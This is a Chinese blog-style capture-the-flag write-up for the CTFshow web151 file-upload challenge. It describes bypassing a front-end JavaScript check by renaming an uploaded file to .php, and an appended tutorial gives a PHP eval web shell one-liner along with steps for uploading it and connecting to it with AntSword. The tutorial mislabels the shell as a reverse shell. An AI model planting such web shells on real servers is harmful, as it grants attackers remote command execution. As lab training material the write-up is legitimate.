CTFshow 文件上传 web151

本文解析了一段前端代码,演示了如何通过JavaScript校验绕过,将上传的图片文件名修改为.php,进而实现远程代码执行(RCE)。简单操作揭示了前端验证的重要性及其潜在风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


源码

<script>
layui.use('upload', function(){
  var upload = layui.upload;
   
  //执行实例
  var uploadInst = upload.render({
    elem: '#upload' //绑定元素
    ,url: '/upload/' //上传接口
    ,done: function(res){
    	if(res.code==0){
    		$("#result").html("文件上传成功,路径:"+res.msg);
    	}else{
    		$("#result").html("文件上传失败,失败原因:"+res.msg);
    	}
      
    }
    ,error: function(){
      $("#result").html("文件上传失败");
    }
  });
});
</script>

思路

有前端验证,常规手段是禁用js或者直接发送数据包

题解

根据js校验上传png,用bp改文件名为php

在这里插入图片描述
跟着提示访问文件,显示phpinfo页面,直接RCE


总结

水题

### CTFShow Web 入门 文件上传 蚁剑 (AntSword) 连接教程 #### 准备工作 为了成功完成文件上传并利用蚁剑建立连接,需先准备环境。确保已安装蚁剑客户端,并准备好用于测试的恶意PHP脚本。 #### PHP Shell Payload 创建 创建一个简单的PHP反向Shell脚本 `shell.php`: ```php <?php @eval($_POST['cmd']);?> ``` 此代码片段允许通过POST请求执行任意命令[^1]。 #### 文件上传过程 使用给定URL进行文件上传操作。假设目标地址为 `http://example.com/upload` ,则可构造如下表单数据提交至服务器: ```html <form action="http://example.com/upload" method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload File" name="submit"> </form> ``` 将之前编写的 `shell.php` 作为待上传文件选择并提交[^2]。 #### 验证上传成果 确认文件是否成功上载到远程服务器指定目录下。通常情况下,可以通过浏览器直接访问该路径来验证,例如:`http://example.com/uploads/shell.php` 。如果页面返回空白,则说明上传成功。 #### 使用蚁剑连接 启动蚁剑工具,在新建站点时输入相应的参数配置: - **网站根目录**: `/var/www/html/` - **WebShell URL**: 如前所述成功的PHP shell链接 - **密码**: 设置于PHP代码中的密钥 (`cmd`) 按照上述设置完成后点击“保存”,随后即可尝试与远端服务器建立会话连接[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值